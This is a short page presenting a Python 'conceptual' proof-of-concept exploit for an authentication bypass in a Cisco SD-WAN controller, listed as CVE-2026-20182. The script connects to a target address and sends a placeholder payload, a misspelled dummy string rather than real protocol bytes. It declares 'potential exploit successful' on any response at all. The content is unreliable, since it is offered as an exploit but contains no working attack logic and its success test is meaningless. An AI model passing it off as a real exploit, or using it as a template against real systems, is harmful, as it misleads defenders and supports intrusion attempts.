CVE-2026-20182 Cisco SD-WAN身份认证绕过漏洞

#!/usr/bin/env python3 # This is a conceptual Proof of Concept for CVE-2026-20182 # Exploitation involves sending a crafted request to bypass peering authentication. import socket import sys def send_exploit(target_ip, target_port): """ Sends a crafted packet to bypass authentication on Cisco SD-WAN Controller. Note: Actual packet structure depends on the specific protocol handshake manipulation. """ try: print(f"[*] Connecting to {target_ip}:{target_port}...") # Establish a TCP connection to the control service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_ip, target_port)) # Crafted payload simulating a trusted peer handshake # In a real scenario, this would contain specific bytes or headers that trick the auth logic payload = b"\x00\x01\x02\x03MALICIOUS_HANDSHAKE_BYPAYSS_AUTH" print("[*] Sending crafted authentication bypass request...") s.send(payload) # Receive response response = s.recv(1024) print(f"[+] Received response: {response}") if response: print("[!] Potential exploit successful. Check administrative access.") else: print("[-] No response received.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_ip> <port>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) send_exploit(TARGET_IP, TARGET_PORT)